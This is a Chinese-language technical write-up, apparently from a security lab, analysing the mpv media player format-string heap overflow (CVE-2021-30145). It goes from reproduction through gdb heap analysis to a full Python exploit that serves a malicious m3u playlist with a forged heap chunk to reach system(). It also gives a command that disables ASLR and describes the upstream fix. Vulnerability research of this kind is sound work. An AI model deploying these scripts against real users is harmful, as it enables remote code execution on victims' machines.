作者:天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/2q8kSl6oC7ECXU8OaMwuTw
0x00 背景介紹
mpv項目是開源項目,可以在多個系統包括Windows、Linux、MacOs上運行,是一款流行的視頻播放器,mpv軟件在讀取文件名稱時存在格式化字符串漏洞,可以導致堆溢出并執行任意代碼。
0x01 環境搭建
系統環境為Ubuntu x64位,軟件環境可以通過兩種方式搭建環境。
1.通過源碼編譯,源碼地址為:https://github.com/mpv-player/mpv/tree/v0.33.0
下載地址為:https://github.com/mpv-player/mpv/archive/refs/tags/v0.33.0.zip
2.直接安裝安裝包,安裝后沒有符號,調試不方便,可以使用以下三條命令來安裝軟件:
sudo add-apt-repository ppa:mc3man/mpv-tests
sudo apt-get update
sudo apt-get install mpv
參考https://blog.csdn.net/qq_34626094/article/details/113122032
安裝完成后運行軟件如下所示:

0x02 漏洞復現
源代碼:

demux_mf.c文件中154行存在對sprintf函數的調用,sprintf函數是格式化字符串函數,參數1是目標緩沖區,參數2是格式化字符串,參數2是可控的,第三個參數是循環次數,mpv程序本身支持文件名中傳入一個%,可以使用%d打印這個循環次數,但是由于校驗不嚴格,并沒有校驗其他的格式化字符串,以及%的個數,所以存在格式化字符串漏洞:

在demux_mf.c文件中127行會檢查是否存在%,沒有判斷有幾個%,以及%之后的參數。
程序存在格式化字符串漏洞,使用如下命令運行程序:./mpv -v mf://%p.%p.%p

運行mpv時使用-v參數可以打印出更加詳細的信息,此時可以看到打印出了棧上的信息,格式化字符串漏洞造成了信息泄漏。
demux_mf.c文件中154行存在對sprintf函數的調用,sprintf函數是格式化字符串函數,參數1是緩沖區,參數2是格式化字符串,這是可控的,現在為了安全都使用snprintf函數,可以限制緩沖區的大小,使用sprintf函數會造成信息泄漏,圖中fname是堆中的緩沖區地址:

程序自己實現了一個內存申請函數,包含自定義的塊頭結構,在函數的124行調用talloc_size來申請內存,申請大小為文件名的大小加32個字節,如果使用格式字符串例如%1000d,會把一個四字節數據擴展到占用1000個字節,這樣會導致堆溢出。

上圖中,啟動mpv時傳入參數 mf://%1000d會導致程序崩潰。
0x03 漏洞分析
通過源碼編譯后可以根據符號對程序下斷點,先查看下open_mf_pattern漏洞函數:
后
使用gdb啟動mpv程序:gdb ./mpv
\~~~
gdb-peda$ disassemble open_mf_pattern
Dump of assembler code for function open_mf_pattern:
\~~~
0x00000000001e44af <+559>: call 0x1305a0 < __ sprintf_chk@plt>
\~~~
可以看到在open_mf_pattern+0x559處調用的是sprintf_chk函數,這是因為使用源碼編譯時使用了FORTIFY_SOURCE選項,對sprintf函數的調用會自動修改為調用sprintf_chk函數,可以在gdb-peda下輸入checksec檢查:
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED 可以看到開啟了FORTIFY選項
NX : ENABLED
PIE : disabled
gdb-peda$
sprintf_chk函數有一個變量表明緩沖區的大小,但是因為此處緩沖區是通過talloc_size申請堆上的內存,所以沒有辦法在編譯器確定緩沖區的大小,所以此函數使用0xFFFFFFFFFFFFFFFF來表明緩沖區的大小,這樣我們就可以使用堆溢出來利用這個漏洞,實際操作中這個漏洞被利用可能性還是比較小的,本次在Ubuntu 20.04.1 LTS系統和關閉ASLR情況下利用此漏洞:
0x04 漏洞利用程序開發
開發利用程序前,需要使用sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"命令關閉系統的ASLR功能。
mpv程序運行時會把格式化字符串塊保存在自定義的塊中,使用talloc_size來分配內存,還有自定義的堆頭結構。
struct ta_header {
size_t size; // size of theuser allocation
// Invariant:parent!=NULL => prev==NULL
struct ta_header *prev; // siblings list(by destructor order)
struct ta_header *next;
// Invariant:parent==NULL || parent->child==this
struct ta_header *child; // points tofirst child
struct ta_header *parent; // set for_first_ child only, NULL otherwise
void (*destructor)(void *);
#ifTA_MEMORY_DEBUGGING
unsigned int canary;
struct ta_header *leak_next;
struct ta_header *leak_prev;
const char *name;
#endif
};
可以在ta.c文件中看到此結構的內容以及對應的函數,此結構中包含一個destructor,是析構指針,還有一個值是canary,編譯選項TA_MEMORY_DEBUGGING默認是啟用的,此值為固定值0xD3ADB3EF,是為了檢測程序是否有異常。
當調用ta_free函數時會判斷析構函數,如果析構函數不為空,那么會去調用析構函數。

在此函數內部還調用了get_header函數,函數內容為

根據堆塊地址ptr往低地址偏移固定字節找到堆頭結構地址tag_head*,然后調用ta_dbg_check_header函數

ta_dbg_check_header函數會檢查canary值是否為0xD3ADB3EF,如果parent不為空,還會判斷前向節點和父節點。
- 5.1 覆蓋destructor指針
漏洞利用思路為調用sprintf函數時堆溢出到下一個堆的頭結構,改變堆頭結構的析構指針,當調用ta_free函數時,如果析構指針不為空,那么就會調用析構函數。
mpv程序在運行時可以讀取m3u文件列表,如使用命令:
./mpv http://localhost:7000/x.m3u
mpv程序會去連接本地的7000端口,并獲取x.m3u文件,獲取的內容mf://及之后的內容保存在堆中,當mf://及之后的內容占用不同大小的空間時,程序會把文件名稱的內容放在堆中不同的位置處,我們需要找到一個合適的大小來滿足如下條件:當mpv將文件內容名稱存放在堆中時,后面的內存內容包含一個自定義的堆頭結構,這樣當我們溢出數據時,可以操縱到后面的堆頭結構內容。
使用如下的POC測試占用不同的空間可以將文件名稱內容放到合適的地址處:
\#!/usr/bin/env python3
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 7000))
s.listen(5)
c, a = s.accept()
playlist = b'mf://'
playlist += b'A'*0x40
playlist += b'%d' # we need a '%' to reach vulnerable path
d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'\r\n'
d += playlist
c.send(d)
c.close()
代碼中使用playlist += b'A'*0x40來占位,0x40是經過測試的數據,筆者可以修改此值來測試占用多少字節可以申請一個合適的位置,運行此腳本文件。然后使用gdb調試mpv程序:gdb ./mpv
使用命令b *open_mf_pattern+559在調用sprintf_chk函數處下斷點,使用命令運行 mpv程序:r http://localhost:7000/x.m3u
可以看到第一個參數arg[0]數據為0x7fffec001210,使用命令 x/100xg 0x7fffec001210-0x50,往前偏移0x50是為了查看堆頭結構的數據:
gdb-peda$ x/100xg 0x7fffec001210-0x50
0x7fffec0011c0: 0x0000000000000062 0x0000000000000000 [size] | [prev]
0x7fffec0011d0: 0x0000000000000000 0x0000000000000000 [next] | [child]
0x7fffec0011e0: 0x00007fffec0011400 0x0000000000000000 [parent] | [destructor]
0x7fffec001200: 0x0000000000000000 0x0000555556676b8f [leak_prev] | [name]
0x7fffec001210: 0x0000000000000000 0x0000000000000071 begin actual data
\~~~
0x7fffec001450: 0x0000000000000003 0x00007fffec004a80 [size] | [prev]
0x7fffec001460: 0x0000000000000000 0x0000000000000000 [next] | [child]
0x7fffec001470: 0x0000000000000000 0x0000000000000000 [parent] | [destructor]
0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001490: 0x0000000000000000 0x0000555556c288a0 [leak_prev] | [name]
0x7fffec0014a0: 0x000000006600666d 0x00000000000000f5 begin actual data
堆塊的實際數據起始地址為0x7fffec001210,堆頭地址為0x7fffec0011C0,緊隨其后有一個堆頭結構位于0x7fffec001450。
使用如下poc腳本即可覆蓋0x7fffec001450堆頭結構中的destructor指針
\#!/usr/bin/env python3
import socket
from pwn import *
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 7000))
s.listen(5)
c, a = s.accept()
playlist = b'mf://'
playlist += b'A'*0x10
playlist += b'%590c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c\x22\x22\x22\x22\x22\x22'
d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'\r\n'
d += playlist
c.send(d)
c.close()
正常情況下%c即可格式化一個char類型的數據,使用%590c是為了似乎用空格字符占用更多的字節,讓程序去處理目的地址590個字節后面的數據,%c%c的目的是跳到一個參數,該參數的值為0,%4c%4c%4c%4c將8個字節的0x00寫到父指針parent中,繞過ta_dbg_check_header函數中對前向節點和父節點的檢查。6個\x22將0x222222222222寫入到destruct指針中。
程序會多次運行到sprintf_chk函數處,從源代碼中可以看到程序會運行5次,在最后一次運行結束后,查看后續堆的頭結構內容如下:
gdb-peda$ x/20xg 0x7fffec001450
0x7fffec001450: 0x2020202020202020 0x2020202020202020 [size] | [prev]
0x7fffec001460: 0x2020202020202020 0xdf6e042020202020 [next] | [child]
0x7fffec001470: 0x0000000000000000 0x0000222222222222 [parent] | [destructor]
0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
當前已經覆蓋了destructor指針為0x0000222222222222,輸入指令c并回車繼續運行:

可以看到出現段錯誤,RIP為0x222222222222,將要執行到RIP指向的指令,但是內存地址不合法導致程序出現段錯誤。
- 5.2 覆蓋child指針
目前只修改到了RIP,其他的上下文并不合適,可以換一種利用思路,通過觀察源代碼可以看到:

在ta.c文件中可以看到調用析構函數后,還調用了ta_free_children釋放子節點,在ta_free_children函數中調用ta_free釋放子節點,然后在此函數中又判斷子節點的destructor指針,如不為0,則調用destructor指向內存的代碼。
現在需要換一種漏洞利用思路,即覆蓋到堆頭結構中的child指針,如果這個child塊是我們自己可以構造的一個假塊,構造destructor指針為system函數的地址,canary值為固定值0xd3adb3ef,還需構造假塊的parent為0,就可以繞過判斷,調用system函數時傳入的指針為堆塊的實際數據的起始地址,所以我們還需要構造這個假塊的實際數據為“gnome-calculator”字符串。
還需要構造這個假塊, mpv程序讀取m3u文件列表時,會接收http報文,http報文中包含了文件名數據,還可以在http報文中構造一個假塊,當關閉ASLR情況下,http報文中假塊的堆頭結構地址是固定的0x00007fffec001dd8,這個地址在不同的系統版本以及軟件下可能會有變化,所以需要讀者自己去定位,筆者使用如下方式定位:
1.http報文在內存中的地址與調用sprintf時的目的地址在同一塊內存中。
2.程序在調用sprintf斷下后,使用vmmap查看進程模塊占用了哪些內存頁面,查看sprintf函數的第一個參數落到哪個內存塊中:

如圖參數1指向的內存落在0x00007fffec000000 0x00007fffec0b9000 rw-p mapped 內存塊中,使用命令dump binary memory ./files_down_exp_map 0x00007fffec000000 0x00007fffec0b9000即可dump內存到磁盤上。
3.使用二進制文本搜索工具如winhex,搜索gnome-calculator,即可找到假塊在文件中的數據,對應到內存中即可找到數據。

圖中文件偏移0x1DD8處的數據即為假塊堆頭結構,0x1E28處數據即為假塊實際數據起始處。
4.找到假塊堆頭在文件中的位置為0x1DD8,那在內存中的位置為0x00007fffec000000+0x1DD8=0x00007fffec001DD8,修改對應EXP中子塊的指針

5.在gdb-peda插件下輸入命令:print system,可以定位到system函數的地址,修改腳本中SYSTEM_ADDR為system函數對應地址。
EXP腳本如下:
\#!/usr/bin/env python3
import socket
from pwn import *
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 7000))
s.listen(5)
c, a = s.accept()
playlist = b'mf://'
playlist += b'A'*0x30
playlist += b'%550c%c%c'
playlist += b'\xd8\x1d%4$c\xec\xff\x7f' # overwriting child addr with fake child
SYSTEM_ADDR = 0x7ffff760c410
CANARY = 0xD3ADB3EF
fake_chunk = p64(0) # size
fake_chunk += p64(0) # prev
fake_chunk += p64(0) # next
fake_chunk += p64(0) # child
fake_chunk += p64(0) # parent
fake_chunk += p64(SYSTEM_ADDR) # destructor
fake_chunk += p64(CANARY) # canary
fake_chunk += p64(0) # leak_next
fake_chunk += p64(0) # leak_prev
fake_chunk += p64(0) # name
d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'PL: '
d += fake_chunk
d += b'gnome-calculator\x00'
d += b'\r\n'
d += b'\r\n'
d += playlist
c.send(d)
c.close()
使用gdb啟動mpv后,下斷點b *open_mf_pattern+559,使用命令r http://localhost:7000/x.m3u運行程序,多次運行sprintf_chk后查看內存數據:
gdb-peda$ x/20xg 0x7fffec001450
0x7fffec001450: 0x2020202020202020 0x2020202020202020
0x7fffec001460: 0xdf5e042020202020 0x00007fffec001dd8 [next] | [child]
child指針此時為0x00007fffec001dd8,查看child中的數據:
gdb-peda$ x/20xg 0x00007fffec001dd8
0x7fffec001dd8: 0x0000000000000000 0x0000000000000000
0x7fffec001de8: 0x0000000000000000 0x0000000000000000
0x7fffec001df8: 0x0000000000000000 0x00007ffff760c410 [parent] | [destructor]
0x7fffec001e08: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
地址0x7fffec001e28處對應的是堆實際數據,對應的是字符串數據gnome-calculator,
destructor為system函數的地址,按c回車運行:

可以看到彈出了計算器。
總結一下利用思路:
-
mpv程序在讀取m3u文件列表時會使用http協議從服務端上取出對應的文件名稱
-
服務端發送http報文時包含了格式化字符串以及一個構造的假塊,這個假塊包括偽造好的堆頭結構以及堆內容
-
mpv取到對應的文件名稱時會調用sprintf_chk時將文件名作為格式化字符串去格式化一個堆空間,由于目標地址是在堆中,所以沒有辦法在編譯器確定堆的大小,傳入一個0xFFFFFFFFFFFFFFFF作為堆的大小,相當于沒有對堆空間大小做限制,調用此函數會導致堆溢出,溢出到相鄰的一個堆塊頭結構,覆蓋child指針。
-
這個child指針指向一個假塊,假塊內容是服務器端使用http協議發過來的數據,假塊包括頭結構和實際數據,頭結構中destructor字段修改system函數的地址,當釋放這個child塊時,會判斷destructor指針是否為空,不為空則調用destructor指向的函數,參數為假塊實際數據的地址,假塊構造時在實際數據中填充字符串gnome-calculator,所以調用析構函數時效果相當于調用system(“gnome-calculator”)。
注意需要關閉系統的ASLR,這樣system函數地址才為固定值,實際中此漏洞利用難度較大,需要繞過ASLR。
0x05 漏洞修復
目前該漏洞已經修復,本身程序運行時是支持文件名中帶一個%d的格式化字符串,修復后檢查只有一個%,并且是%d,如果是其他的參數則不合法。

對sprintf函數的調用修改為調用snprintf,限制了緩沖區的大小。


0x06 參考鏈接
mpv 媒體播放器–mf 自定義協議漏洞(CVE-2021-30145):
https://devel0pment.de/?p=2217
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1746/
暫無評論